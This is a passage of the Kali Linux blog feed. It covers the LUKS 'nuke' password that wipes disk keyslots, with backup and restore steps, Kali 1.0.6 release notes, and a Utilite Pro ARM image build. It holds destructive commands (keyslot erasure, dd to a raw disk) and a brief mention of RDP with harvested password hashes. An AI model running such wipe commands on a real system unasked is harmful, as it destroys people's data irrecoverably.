&lt;p>And that&amp;rsquo;s it! RDP sessions using harvested password hashes. Again, keep in mind that this only works on Windows 2012 R2 and Windows 8.1. To the best of our knowledge, the &amp;ldquo;Restricted Admin&amp;rdquo; feature has not been backported yet and considering this, it may never be.&lt;/p></description></item><item><title>How to Nuke your Encrypted Kali Installation</title><link>https://www.kali.org/blog/nuke-kali-linux-luks/</link><guid isPermaLink="true">https://www.kali.org/blog/nuke-kali-linux-luks/</guid><pubDate>Mon, 13 Jan 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/nuke-kali-linux-luks/images/kali-nuke-restore.jpg" type="image/jpg"/><description>&lt;p>There&amp;rsquo;s been a &lt;a href="https://www.reddit.com/r/netsec/comments/1ujsv4/emergency_self_destruction_of_luks_in_kali_linux/">fair amount of discussion&lt;/a> around the recently introduced &lt;a href="https://www.kali.org/blog/emergency-self-destruction-luks-kali/">LUKS nuke patch&lt;/a> we added to the cryptsetup package in Kali Linux. We wanted to take this opportunity to better explain this feature, as well as demonstrate some useful approaches which are worthwhile getting to know.&lt;/p>
&lt;h3 id="luks-nuke-in-a-nutshell">LUKS Nuke in a Nutshell&lt;/h3>
&lt;p>As explained well By Michael Lee in his &lt;a href="https://www.zdnet.com/article/developers-mull-adding-data-nuke-to-kali-linux/">ZDNet article&lt;/a>, when creating an encrypted LUKS container, a master key is generated at random. A passphrase is then used to encrypt the master key in turn. This process means that the passphrase is not directly coupled to the data. That is, if two sets of identical data are encrypted and the same passphrase used, the master keys remain unique to each set and cannot be swapped out. What this also means however, is that regardless of the passphrase used, if the master key is lost, recovering data is impossible. This process conveniently lends itself to being used as a nuke by deliberately wiping the keys.&lt;/p>
&lt;h3 id="example-use-case-of-luks-nuke">Example Use Case of LUKS Nuke&lt;/h3>
&lt;p>Our main purpose for introducing this feature in Kali Linux is to simplify the process of securely traveling with confidential client information. While &amp;ldquo;LUKS Nuking&amp;rdquo; your drive will result in an inaccessible disk, it &lt;strong>is&lt;/strong> possible to backup your keyslots beforehand and restore them after the fact. What this allows us to do is to &amp;ldquo;brick&amp;rdquo; our sensitive laptops before any travel, separate ourselves from the restoration keys (which we encrypt), and then &amp;ldquo;restore&amp;rdquo; them to the machines once back in a safe location. This way, if our hardware is lost or otherwise accessed midway through our travels, no one is able to restore the data on it, including ourselves.&lt;/p>
&lt;p>There are other ways to delete your keyslots, however the advantage of the Nuke option is it is quick, easy, and does not require you to fully login to your Kali installation. If you maintain a backup of your header, you can Nuke the keyslots whenever you feel uncomfortable. Then conduct a restoration when you feel secure.&lt;/p>
&lt;h3 id="try-this-for-yourself">Try this for yourself&lt;/h3>
&lt;p>Let&amp;rsquo;s go through the motions of encrypting, backing up, destroying, and then restoring your data using Kali Linux. Start by downloading and installing Kali Linux 1.0.6 with Full Disk Encryption. Once that is done, you can verify your information as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali-crypto:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: ENABLED
Iterations: 223775
Salt: 7b ee 18 9e 46 77 60 2a f6 e2 a6 13 9f 59 0a 88
7b b2 db 84 25 98 f3 ae 61 36 3a 7d 96 08 a4 49
Key material offset: 8
AF stripes: 4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
&lt;/code>&lt;/pre>
&lt;p>As you can see, we have slot 0 enabled with slots 1 to 7 unused. At this point, we will add our nuke key:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali-crypto:~# apt install cryptsetup-nuke-password
root@kali-crypto:~# dpkg-reconfigure cryptsetup-nuke-password
&lt;/code>&lt;/pre>
&lt;p>This didn&amp;rsquo;t change anything to the LUKS container, instead it installed the nuke password and a small hook in the initrd. This hook will detect when you enter your nuke password at boot time and it will call &amp;ldquo;&lt;strong>cryptsetup luksErase&lt;/strong>&amp;rdquo; on your LUKS container at that time.&lt;/p>
&lt;p>Wonderful. Now we need to back up the encryption keys. This can easily be done with the &amp;ldquo;luksHeaderBackup&amp;rdquo; option:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali-crypto:~# cryptsetup luksHeaderBackup --header-backup-file luksheader.back /dev/sda5
root@kali-crypto:~# file luksheader.back
luksheader.back: LUKS encrypted file, ver 1 [aes, xts-plain64, sha1] UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
root@kali-crypto:~#
&lt;/code>&lt;/pre>
&lt;p>So, in our case we would like to encrypt this data for storage. There are a number of ways this could be done, however we will use openssl to make the process quick and easy using default tools in Kali:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali-crypto:~# openssl enc -aes-256-cbc -salt -in luksheader.back -out luksheader.back.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
root@kali-crypto:~# ls -lh luksheader.back*
-r-------- 1 root root 2.0M Jan 9 13:42 luksheader.back
-rw-r--r-- 1 root root 2.0M Jan 9 15:50 luksheader.back.enc
root@kali-crypto:~# file luksheader.back*
luksheader.back: LUKS encrypted file, ver 1 [aes, xts-plain64, sha1] UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
luksheader.back.enc: data
&lt;/code>&lt;/pre>
&lt;p>Great, now we have the encrypted header ready to be backed up. In this case, we would like to place the header somewhere that it is easily accessible. This could be as simple as on a USB thumb drive that is kept in a safe location. At this point, lets reboot and make use of the Nuke key and see how Kali responds.&lt;/p>
&lt;p>So we used the Nuke key, and as expected we can no longer boot into Kali. Let&amp;rsquo;s see what happened on the actual disk by booting up into a Kali live CD and dumping the LUKS header again:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: DISABLED
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
&lt;/code>&lt;/pre>
&lt;p>As we can see, no keyslots are in use. The Nuke worked as expected. To restore the header back in place, it&amp;rsquo;s a simple matter of retrieving the encrypted header from your USB drive. Once we have that, we can decrypt it and conduct our restore:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openssl enc -d -aes-256-cbc -in luksheader.back.enc -out luksheader.back
enter aes-256-cbc decryption password:
root@kali:~# cryptsetup luksHeaderRestore --header-backup-file luksheader.back /dev/sda5
WARNING!
========
Device /dev/sda5 already contains LUKS header. Replacing header will destroy existing keyslots.
Are you sure? (Type uppercase yes): YES
root@kali:~# cryptsetup luksDump /dev/sda5
LUKS header information for /dev/sda5
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha1
Payload offset: 4096
MK bits: 512
MK digest: 04 cd d0 51 bf 57 10 f5 87 08 07 d5 c8 2a 34 24 7a 89 3b db
MK salt: 27 42 e5 a6 b2 53 7f de 00 26 d3 f8 66 fb 9e 48
16 a2 b0 a9 2c bb cc f6 ea 66 e6 b1 79 08 69 17
MK iterations: 65750
UUID: 126d0121-05e4-4f1d-94d8-bed88e8c246d
Key Slot 0: ENABLED
Iterations: 223775
Salt: 7b ee 18 9e 46 77 60 2a f6 e2 a6 13 9f 59 0a 88
7b b2 db 84 25 98 f3 ae 61 36 3a 7d 96 08 a4 49
Key material offset: 8
AF stripes: 4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
&lt;/code>&lt;/pre>
&lt;p>Our slots are now restored. All we have to do is simply reboot and provide our normal LUKS password and the system is back to its original state.&lt;/p></description></item><item><title>Kali Linux 1.0.6 Release</title><link>https://www.kali.org/blog/kali-linux-1-0-6-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-6-release/</guid><pubDate>Thu, 09 Jan 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-6-release/images/kali-1.0.6-release.jpg" type="image/jpg"/><description>&lt;h4 id="kernel-312-luks-nuke-amazon-ami--google-compute-images-and-more">Kernel 3.12, LUKS nuke, Amazon AMI / Google Compute images and more!&lt;/h4>
&lt;p>It&amp;rsquo;s been a while since our last minor release which makes 1.0.6 a more significant update than usual. With a new 3.12 kernel, &lt;a href="https://www.kali.org/blog/emergency-self-destruction-luks-kali/">a LUKS nuke feature&lt;/a>, new &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">Kali ARM build scripts&lt;/a>, and &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">Kali AMAZON AMI and Google Compute image generation scripts&lt;/a>, not to mention numerous tool additions and updates - this release is really heavily laden with goodness. For more information about what&amp;rsquo;s new in this release, check the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali changelog&lt;/a>.&lt;/p>
&lt;h4 id="kali-arm-build-scripts-now-available">Kali ARM Build Scripts Now Available&lt;/h4>
&lt;p>This new release brings with it the introduction of the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">OffSec Trusted ARM image scripts&lt;/a> - a set of slowly growing scripts that are able to build Kali Linux images for various ARM devices. These scripts will replace the growing number of actual ARM image releases we have in order to reduce the exponentially growing amount of traffic we serve on each release. We will release a short blog post about how to use these scripts in the next few days.&lt;/p>
&lt;h4 id="luks-nuke-patch-added-to-cryptsetup">LUKS Nuke Patch Added to cryptsetup&lt;/h4>
&lt;p>A couple of days ago, we demonstrated a cool patch for cryptsetup, which introduces a self destruction feature. The response to this post was overwhelmingly positive, as many people voted to see this feature included in Kali Linux. Therefore, we included this patch into our cryptsetup package yesterday, making the &lt;strong>luksAddNuke&lt;/strong> options available to all Kali users by default. The patch is non-invasive and will not change anything for anyone that does not want to make use of it. No action is necessary if you currently use LUKS and don&amp;rsquo;t want to utilize the key nuke feature. The updated cryptsetup package is present in Kali 1.0.6 by default. We&amp;rsquo;d like to take a moment to thank everyone who participated in the poll for voicing their opinion. This kind of feedback is very useful for us, giving us a better feel for the type of features to add in the future. In an upcoming blog post, we will take the opportunity to better explain this new feature and show you how to test it out.&lt;/p>
&lt;h4 id="updated-instructions-for-building-vmware-tools-with-kernel-312">Updated Instructions for Building VMware Tools with Kernel 3.12&lt;/h4>
&lt;p>VMware Tools always lags behind new kernels, which always causes us headaches and this time is no exception. At the time of this release, VMware Tools does not cleanly compile against kernel 3.12 and requires a set of patches. We have posted these &lt;a href="https://web.archive.org/web/20140326155849/https://github.com/offensive-security/kali-vmware-tools-patches">Kali Linux VMware Tools patches on GitHub&lt;/a> along with instructions on how to use them. We suspect that these build issues will go away in future releases of VMware Tools.&lt;/p>
&lt;h4 id="kali-linux-amazon-amigoogle-compute-build-scripts-now-available">Kali Linux Amazon AMI/Google Compute Build Scripts Now Available&lt;/h4>
&lt;p>Yay! This was on our todo list for quite awhile and we&amp;rsquo;re happy to bring this feature out at last. A &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud-build">set of scripts&lt;/a> that enables you to build your own custom Amazon AMI and Google Compute cloud images. If you intend to use the images for any real work, you should first consult with the &lt;a href="https://aws.amazon.com/security/penetration-testing/">terms of service&lt;/a> of the cloud provider.&lt;/p>
&lt;h4 id="separation-of-kali-official-images-and-offsec-contributed-images">Separation of Kali Official Images and OffSec Contributed Images&lt;/h4>
&lt;p>Due to the ever growing number of ARM images &lt;a href="https://www.offsec.com/">OffSec&lt;/a> is contributing as well as the high demand of more flavours of VMware images, we&amp;rsquo;ve separated the Official Kali images from OffSec contributed images. This allows us to generate more VMware image flavours (amd64, i486, i686-pae), as well as increased flexibility in future releases. To find updated VMware and custom ARM images, visit the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec Custom Image Download Page&lt;/a>. Please bear with us as we update images on this server in the next few days.&lt;/p>
&lt;h4 id="improving-kali-linux-package-features">Improving Kali Linux Package Features&lt;/h4>
&lt;p>In the past couple of weeks, &lt;strong>@jerichodotm&lt;/strong> has been helping us add &lt;a href="https://wiki.debian.org/debian/watch/">watch&lt;/a> files to our Kali packages. These watch files allow us to monitor upstream tarball releases for updates in a much more reliable manner. Once this process is complete, we&amp;rsquo;ll be able to monitor new upstream software updates with much more ease. For example, if you want to check if there&amp;rsquo;s a new upstream release of nmap, you could do the following:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-get install devscripts
root@kali:~# apt-get source nmap
root@kali:~# cd nmap-6.40/
root@kali:~/nmap-6.40# uscan --no-download --verbose
-- Scanning for watchfiles in .
-- Found watchfile in ./debian
-- In debian/watch, processing watchfile line:
http://nmap.org/dist/nmap-((?:\d+\.)+\d+)\.tgz
-- Found the following matching hrefs:
nmap-5.00.tgz
nmap-5.20.tgz
nmap-5.21.tgz
nmap-5.50.tgz
nmap-5.51.1.tgz
nmap-5.51.2.tgz
nmap-5.51.3.tgz
nmap-5.51.4.tgz
nmap-5.51.5.tgz
nmap-5.51.6.tgz
nmap-5.51.tgz
nmap-6.00.tgz
nmap-6.01.tgz
nmap-6.25.tgz
nmap-6.40.tgz
Newest version on remote site is 6.40, local version is 6.40
=&amp;gt; Package is up to date
-- Scan finished
root@kali:~/nmap-6.40#
&lt;/code>&lt;/pre>
&lt;h4 id="no-re-downloading-required">No Re-Downloading Required&lt;/h4>
&lt;p>Lastly, if you already have a Kali Linux installation up and running, you don&amp;rsquo;t need to download a new ISO. You can easily upgrade your installation to the latest and greatest Kali Linux has to offer as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;h4 id="engage">&amp;hellip;.Engage.&lt;/h4>
&lt;p>We&amp;rsquo;re really happy with this release and are looking forward to completing our next goals with 1.0.7. As usual, you are welcome to visit our &lt;a href="https://forums.kali.org/">Kali Linux forums&lt;/a> (which now default to HTTPS), read up on our &lt;a href="https://www.kali.org/docs/">official documentation&lt;/a>, submit &lt;a href="https://bugs.kali.org/">bugs and patches&lt;/a>, or chat with us in &lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">IRC&lt;/a>, irc.oftc.net, #kali-linux.&lt;/p>
&lt;h4 id="shameless-plug">Shameless Plug&lt;/h4>
&lt;p>OffSec has recently updated its &amp;ldquo;Penetration Testing With BackTrack&amp;rdquo; online course to &amp;ldquo;&lt;a href="https://www.offsec.com/pwk-oscp/">Penetration Testing with Kali Linux&lt;/a>&amp;rdquo;. If you&amp;rsquo;re looking for official, quality training on Kali Linux, this is a great place to start. We&amp;rsquo;re biased of course, but &lt;a href="https://www.offsec.com/why-offsec/#testimonials">many other people seem to think so too!&lt;/a>&lt;/p></description></item><item><title>Emergency Self Destruction of LUKS in Kali</title><link>https://www.kali.org/blog/emergency-self-destruction-luks-kali/</link><guid isPermaLink="true">https://www.kali.org/blog/emergency-self-destruction-luks-kali/</guid><pubDate>Mon, 06 Jan 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/emergency-self-destruction-luks-kali/images/kali-luks-self-destruct.jpg" type="image/jpg"/><description>&lt;h3 id="kali-linux-full-disk-encryption">Kali Linux Full Disk Encryption&lt;/h3>
&lt;p>As &lt;a href="https://www.offsec.com/cyberversity/penetration-testing/">penetration testers&lt;/a>, we often need to travel with sensitive data stored on our laptops. Of course, we use full disk encryption wherever possible, including our Kali Linux machines, which tend to contain the most sensitive materials.&lt;/p>
&lt;p>Setting up &lt;a href="https://www.kali.org/docs/installation/hard-disk-install/">full disk encryption with Kali&lt;/a> is a simple process. The Kali installer includes a straightforward process for setting up encrypted partitions with LVM and LUKS. Once encrypted, the Kali operating system requires a password at boot time to allow the OS to boot and decrypt your drive, thus protecting this data in case your laptop is stolen. Managing decryption keys and partitions is done using the cryptsetup utility.&lt;/p>
&lt;h3 id="nuking-our-kali-linux-fde-installation">Nuking our Kali Linux FDE Installation&lt;/h3>
&lt;p>A couple of days ago, one of us had the idea of adding a &amp;ldquo;nuke&amp;rdquo; option to our Kali install. In other words, having a boot password that would destroy, rather than decrypt, the data on our drive. A few Google searches later, we found an old &lt;a href="http://lxer.com/module/newswire/view/103692/index.html">cryptsetup patch&lt;/a> by Juergen Pabel which does just that, adding a &amp;ldquo;nuke&amp;rdquo; password to cryptsetup, which when used, deletes all keyslots and makes the data on the drive inaccessible. We ported this patch for a recent version of cryptsetup and posted it on &lt;a href="https://gitlab.com/kalilinux/packages/cryptsetup-nuke-keys">GitHub&lt;/a>.&lt;/p>
&lt;h3 id="testing-the-luks-nuke-patch">Testing the LUKS Nuke Patch&lt;/h3>
&lt;p>This feature isn&amp;rsquo;t implemented yet in Kali as we wanted to gather some user feedback before applying this patch to base images. If you&amp;rsquo;d like to try it our yourself, these are the build instructions. Start by running an LVM encrypted installation in Kali and set a decryption password. Once done, download the cryptsetup package source and apply our patch to it. Proceed to build the patched package as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-get source cryptsetup
root@kali:~# git clone https://gitlab.com/kalilinux/packages/cryptsetup-nuke-keys
root@kali:~# cd cryptsetup-1.6.1/
root@kali:~/cryptsetup-1.6.1# patch -p1 &amp;lt; ../cryptsetup-nuke-keys/cryptsetup_1.6.1+nuke_keys.diff
patching file lib/libcryptsetup.h
patching file lib/luks1/keymanage.c
patching file lib/setup.c
patching file src/cryptsetup.c
root@kali:~/cryptsetup-1.6.1# dpkg-buildpackage -b -uc
&lt;/code>&lt;/pre>
&lt;p>Once the package has built, install the cryptsetup packages to get our &lt;strong>nuke&lt;/strong> option implemented:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/cryptsetup-1.6.1# ls -l ../*crypt*.deb
-rw-r--r-- 1 root root 149430 Jan 4 21:34 ../cryptsetup_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 250616 Jan 4 21:34 ../cryptsetup-bin_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 105226 Jan 4 21:34 ../libcryptsetup4_1.6.1-1kali0_amd64.deb
-rw-r--r-- 1 root root 49580 Jan 4 21:34 ../libcryptsetup-dev_1.6.1-1kali0_amd64.deb
root@kali:~/cryptsetup-1.6.1# dpkg -i ../libcryptsetup*.deb
root@kali:~/cryptsetup-1.6.1# dpkg -i ../cryptsetup*.deb
&lt;/code>&lt;/pre>
&lt;p>Now that our patched cryptsetup package has been installed, we can go ahead and add a &amp;ldquo;nuke&amp;rdquo; key to our setup:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cryptsetup luksAddNuke /dev/sda5
Enter any existing passphrase: (existing passphrase)
Enter new passphrase for key slot: (nuke passphrase)
&lt;/code>&lt;/pre>
&lt;h3 id="hey-dude-wheres-my-drive">Hey Dude, Where&amp;rsquo;s my Drive?&lt;/h3>
&lt;p>On any subsequent reboots, you will be asked for the LUKS decryption password each time as usual. If for whatever reason, you were to enter the nuke password, the saved keys would be purged rendering the data inaccessible. Should we implement this patch in the cryptsetup package? Let us know what you think via this quick poll. We&amp;rsquo;ll keep this poll open for a couple of weeks and keep you posted with any further developments of this feature:&lt;/p>
&lt;pre>&lt;code class="language-plain">Cryptseup Nuke Option in Kali
Add nuke features to cryptsetup ?*
- [ ] Yes, add this feature!
- [ ] Stop bothering me
- [ ] No, leave cryptsetup alone.
&lt;/code>&lt;/pre>
&lt;p>&lt;strong>Update:&lt;/strong> The nuke patch has been introduced to Kali Linux and is available by default in &lt;a href="https://www.kali.org/blog/kali-linux-1-0-6-release/">Kali Linux v1.0.6&lt;/a>.&lt;/p>
&lt;p>&lt;strong>Update:&lt;/strong> We&amp;rsquo;ve posted an example use-case for the Nuke feature in a later &amp;ldquo;&lt;a href="https://www.kali.org/blog/nuke-kali-linux-luks/">How to nuke your encrypted Kali Linux installation&lt;/a>&amp;rdquo; blog post.&lt;/p>
&lt;p>&lt;strong>Update:&lt;/strong> As of July 2019, Kali Linux no longer ships this cryptsetup patch, instead we introduced a cryptsetup-nuke-password package that provides a similar feature without modifying cryptsetup:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install cryptsetup-nuke-password
root@kali:~# dpkg-reconfigure cryptsetup-nuke-password
&lt;/code>&lt;/pre></description></item><item><title>Ultimate Pentesting PwnBox (2013) - Utilite Pro</title><link>https://www.kali.org/blog/ultimate-pentesting-pwnbox-2013-utilite/</link><guid isPermaLink="true">https://www.kali.org/blog/ultimate-pentesting-pwnbox-2013-utilite/</guid><pubDate>Sun, 08 Dec 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/ultimate-pentesting-pwnbox-2013-utilite/images/kali-utilite-pro.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;re always on the lookout for and interesting ARM hardware for Kali Linux. Whether it&amp;rsquo;s a &lt;a href="https://www.offsec.com/kali-linux/kali-linux-on-galaxy-note/">Galaxy Note&lt;/a> or a USB stick sized &lt;a href="https://www.kali.org/docs/arm/ss808-mk808/">SS808&lt;/a>, we want to see Kali run on it. You can therefore imagine our excitement, when we first laid our eyes on the &lt;a href="http://utilite-computer.com/web/utilite-pro-specifications/">Utilite pro&lt;/a>.&lt;/p>
&lt;p>Utilite Pro is a &lt;strong>quad core&lt;/strong> ARM cortex-A9 machine with up to &lt;strong>4 GB&lt;/strong> of RAM, up to &lt;strong>512 GB mSATA SSD&lt;/strong>, HDMI and DVI-D output, &lt;strong>dual (2x) 1GB nics&lt;/strong>, a built in wireless card and &lt;strong>4 USB ports&lt;/strong>. And its fanless. With those type of specs, this little beauty was unlikely to skip our radars. We wanted Kali Linux on that baby, &lt;strong>real bad&lt;/strong>.&lt;/p>
&lt;p>We took this opportunity to create and publish the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">OffSec Kali Linux contributed ARM images&lt;/a>, and thought we&amp;rsquo;d demonstrate the use of these scripts, and show you how to get Kali Linux on the Utilite Pro. From there, the options are endless.&lt;/p>
&lt;p>The Utilite Pro came with Ubuntu preinstalled. The first thing we wanted to do, is update the machines uBoot bootloader image, to allow for support of 1.8V microSD cards:&lt;/p>
&lt;pre>&lt;code class="language-console">root@utilite:~# apt-get install mtd-utils
root@utilite:~# git clone https://gitlab.com/kalilinux/build-scripts/kali-uboot-images.git uboot
root@utilite:~/uboot# ./cm-fx6-bootloader-update.sh
CompuLab CM-FX6 (Utilite) boot loader update utility 1.1 (Nov 25 2013)
&amp;gt;&amp;gt; Checking for utilities...
&amp;gt;&amp;gt; ...Done
&amp;gt;&amp;gt; Board CPU: mx6q
&amp;gt;&amp;gt; Board DRAM: 2gb
&amp;gt;&amp;gt; Looking for boot loader image file: cm-fx6-u-boot-mx6q-2gb
&amp;gt;&amp;gt; ...Found
&amp;gt;&amp;gt; Looking for SPI flash: mtd0
&amp;gt;&amp;gt; ...Found
&amp;gt;&amp;gt; Current U-Boot version in SPI flash: U-Boot 2009.08-cm-fx6-0.87+tools (Oct 06 2013 - 13:46:27)
&amp;gt;&amp;gt; New U-Boot version in file: (248K)
&amp;gt;&amp;gt; Proceed with the update?
1) Yes
2) No
#? Yes
** Do not power off or reset your computer!!!
&amp;gt;&amp;gt; Erasing SPI flash...
Erasing 4 Kibyte @ bf000 -- 100 % complete
&amp;gt;&amp;gt; ...Done
&amp;gt;&amp;gt; Writing boot loader to the SPI flash...
...........
&amp;gt;&amp;gt; ...Done
&amp;gt;&amp;gt; Checking boot loader in the SPI flash...
.
&amp;gt;&amp;gt; ...Done
&amp;gt;&amp;gt; Boot loader update succeeded!
root@utilite:~/uboot#
&lt;/code>&lt;/pre>
&lt;p>Once that was done, we whipped out our OffSec Trusted Contributed ARM image scripts, and let our Utilite image builder script loose. On a separate 32 bit Kali Linux machine, we set up all the pre-requisites to build our ARM image, and make sure we have at least 10GB of free space. We start with downloading and setting up the ARM cross compiler and the build scripts:&lt;/p>
&lt;pre>&lt;code class="language-console">root@builder:~# git clone https://gitlab.com/kalilinux/build-scripts/kali-arm.git
Cloning into 'kali-arm-build-scripts'...
remote: Counting objects: 95, done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 95 (delta 62), reused 70 (delta 37)
Unpacking objects: 100% (95/95), done.
root@builder:~# git clone https://gitlab.com/kalilinux/packages/gcc-arm-linux-gnueabihf-4-7.git
Cloning into 'gcc-arm-linux-gnueabihf-4.7'...
remote: Counting objects: 5839, done.
remote: Compressing objects: 100% (3105/3105), done.
remote: Total 5839 (delta 2559), reused 5837 (delta 2559)
Receiving objects: 100% (5839/5839), 74.64 MiB | 3.38 MiB/s, done.
Resolving deltas: 100% (2559/2559), done.
root@builder:~#
&lt;/code>&lt;/pre>
&lt;p>Once that&amp;rsquo;s done, we next run the build-deps scripts, which will install all the dependencies required for the build:&lt;/p>
&lt;pre>&lt;code class="language-console">root@builder:~# cd kali-arm-build-scripts/
root@builder:~/kali-arm-build-scripts# ./build-deps.sh
Reading package lists... Done
Building dependency tree
Reading state information... Done
abootimg is already the newest version.
...
&lt;/code>&lt;/pre>
&lt;p>Now with everything in place, we kick off our Utilite image builder script, and go for a coffee, or six. The script requires a version parameter for the image, which is something we use to tag our ARM image versions. Once ready, you should get a *full* Kali Linux image which can then be dd&amp;rsquo;ed to a microSD card. Of course, you are encouraged to read the build script, and edit any installation parameters or packages to your needs:&lt;/p>
&lt;pre>&lt;code class="language-console">root@builder:~/kali-arm-build-scripts# ./utilite.sh 1.0
I: Retrieving Release
I: Retrieving Release.gpg
I: Checking Release signature
I: Valid Release signature (key id 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6)
I: Retrieving Packages
I: Validating Packages
I: Resolving dependencies of required packages...
I: Resolving dependencies of base packages...
...
...
...
Cloning into 'firmware'...
remote: Counting objects: 874, done.
remote: Compressing objects: 100% (685/685), done.
remote: Total 874 (delta 181), reused 849 (delta 167)
Receiving objects: 100% (874/874), 30.17 MiB | 4.84 MiB/s, done.
Resolving deltas: 100% (181/181), done.
del devmap : loop0p2
del devmap : loop0p1
Removing temporary build files
Generating sha1sum for kali-1.0-utilite.img
Compressing kali-1.0-utilite.img
Generating sha1sum for kali-1.0-utilite.img.xz
root@builder:~/kali-arm-build-scripts#
&lt;/code>&lt;/pre>
&lt;p>Once the image is ready, you can find it in the utlite subdirectory created by the script:&lt;/p>
&lt;pre>&lt;code class="language-console">root@builder:~/kali-arm-build-scripts# ls -l utilite-1.0/
total 334720
-rw-r--r-- 1 root root 63 Dec 7 23:48 kali-1.0-utilite.img.sha1sum
-rw-r--r-- 1 root root 342742176 Dec 7 23:52 kali-1.0-utilite.img.xz
-rw-r--r-- 1 root root 66 Dec 7 23:53 kali-1.0-utilite.img.xz.sha1sum
root@builder:~/kali-arm-build-scripts#
&lt;/code>&lt;/pre>
&lt;p>Extract the compressed image file, and &lt;strong>dd&lt;/strong> it to the microSD card (in our case, &lt;strong>sdb&lt;/strong>). Once done, pop the microSD card into the Utilite, and boot it up!&lt;/p>
&lt;pre>&lt;code class="language-console">root@proxy:~/kali-arm-build-scripts# cd utilite-1.0/
root@proxy:~/kali-arm-build-scripts/utilite-1.0# 7z x kali-1.0-utilite.img.xz
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: kali-1.0-utilite.img.xz
Extracting kali-1.0-utilite.img
Everything is Ok
Size: 7340032000
Compressed: 342742176
root@proxy:~/kali-arm-build-scripts/utilite-1.0# dd if=kali-1.0-utilite.img of=/dev/sdb bs=1M
&lt;/code>&lt;/pre>
&lt;p>Once booted, you can log into the Utlite image with &lt;strong>root / toor&lt;/strong> credentials:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# uname -a
Linux kali 3.0.35-cm-fx6-4 #1 SMP Sat Dec 7 23:47:48 EST 2013 armv7l GNU/Linux
root@kali:~# cat /proc/cpuinfo
Processor : ARMv7 Processor rev 10 (v7l)
processor : 0
BogoMIPS : 790.52
processor : 1
BogoMIPS : 790.52
processor : 2
BogoMIPS : 790.52
processor : 3
BogoMIPS : 790.52
Features : swp half thumb fastmult vfp edsp neon vfpv3
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x2
CPU part : 0xc09
CPU revision : 10
Hardware : Compulab CM-FX6
Revision : 63012
Serial : 0b0991d4d81917c9
root@kali:~# cat /proc/meminfo
MemTotal: 2006440 kB
MemFree: 1922864 kB
....
